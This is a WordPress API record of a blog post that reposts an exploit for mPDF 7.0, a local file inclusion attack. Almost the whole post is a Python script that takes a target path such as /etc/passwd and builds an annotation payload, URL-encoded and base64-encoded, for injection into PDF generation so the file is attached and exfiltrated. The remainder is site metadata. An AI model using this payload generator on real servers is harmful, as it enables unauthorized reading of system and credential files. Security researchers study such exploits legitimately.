{"id":28840,"date":"2022-08-01T20:38:49","date_gmt":"2022-08-01T16:38:49","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/167897\/mpdf70-lfi.txt"},"modified":"2022-08-02T08:36:23","modified_gmt":"2022-08-02T04:06:23","slug":"mpdf-7-0-local-file-inclusion","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/mpdf-7-0-local-file-inclusion\/","title":{"rendered":"mPDF 7.0 Local File Inclusion"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: mPDF 7.0 &#8211; Local File Inclusion<br \/>\n# Google Dork: N\/A<br \/>\n# Date: 2022-07-23<br \/>\n# Exploit Author: Musyoka Ian<br \/>\n# Vendor Homepage: https:\/\/mpdf.github.io\/<br \/>\n# Software Link: https:\/\/mpdf.github.io\/<br \/>\n# Version: CuteNews<br \/>\n# Tested on: Ubuntu 20.04, mPDF 7.0.x<br \/>\n# CVE: N\/A<\/p>\n<p dir=\"ltr\">#!\/usr\/bin\/env python3<\/p>\n<p dir=\"ltr\">from urllib.parse import quote<br \/>\nfrom cmd import Cmd<br \/>\nfrom base64 import b64encode<\/p>\n<p dir=\"ltr\">class Terminal(Cmd):<br \/>\nprompt = &#8220;\\nFile &gt;&gt; &#8221;<br \/>\ndef default(self, args):<br \/>\npayload_gen(args)<br \/>\ndef banner():<br \/>\nbanner = &#8220;&#8221;&#8221; _____ _____ ______ ______ ___ __ __ _ _ _<br \/>\n| __ \\| __ \\| ____| |____ \/ _ \\ \\ \\ \/ \/ | | (_) |<br \/>\n_ __ ___ | |__) | | | | |__ \/ \/ | | | \\ V \/ _____ ___ __ | | ___ _| |_<br \/>\n| &#8216;_ ` _ \\| ___\/| | | | __| \/ \/| | | | &gt; &lt; \/ _ \\ \\\/ \/ &#8216;_ \\| |\/ _ \\| | __|<br \/>\n| | | | | | | | |__| | | \/ \/ | |_| | \/ . \\ | __\/&gt; &lt;| |_) | | (_) | | |_<br \/>\n|_| |_| |_|_| |_____\/|_| \/_\/ (_)___(_)_\/ \\_\\ \\___\/_\/\\_\\ .__\/|_|\\___\/|_|\\__|<br \/>\n| |<br \/>\n|_| &#8220;&#8221;&#8221;<br \/>\nprint(banner)<br \/>\ndef payload_gen(fname):<br \/>\npayload = f'&lt;annotation file=&#8221;{fname}&#8221; content=&#8221;{fname}&#8221; icon=&#8221;Graph&#8221; title=&#8221;Attached File: {fname}&#8221; pos-x=&#8221;195&#8243; \/&gt;&#8217;<br \/>\nencoded_payload = quote(payload)<br \/>\nprint(&#8220;[+] Replace the content with the payload below&#8221;)<\/p>\n<p dir=\"ltr\">print(f&#8221;Url encoded payload:\\n{encoded_payload}\\n&#8221;)<br \/>\nbase64enc = b64encode(encoded_payload.encode())<br \/>\nprint(f&#8221;Base64 encoded payload:\\n{base64enc.decode()}\\n&#8221;)<br \/>\nif __name__ == (&#8220;__main__&#8221;):<br \/>\nbanner()<br \/>\nprint(&#8220;Enter Filename eg. \/etc\/passwd&#8221;)<br \/>\nterminal= Terminal()<br \/>\nterminal.cmdloop()<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: mPDF 7.0 &#8211; Local File Inclusion # Google Dork: N\/A # Date: 2022-07-23 # Exploit Author: Musyoka Ian # Vendor Homepage: https:\/\/mpdf.github.io\/ # Software Link: https:\/\/mpdf.github.io\/ # Version: CuteNews # Tested on: Ubuntu 20.04, mPDF 7.0.x # CVE: N\/A #!\/usr\/bin\/env python3 from urllib.parse import quote from cmd import Cmd from base64 import &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-28840","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28840","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=28840"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/28840\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=28840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=28840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=28840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}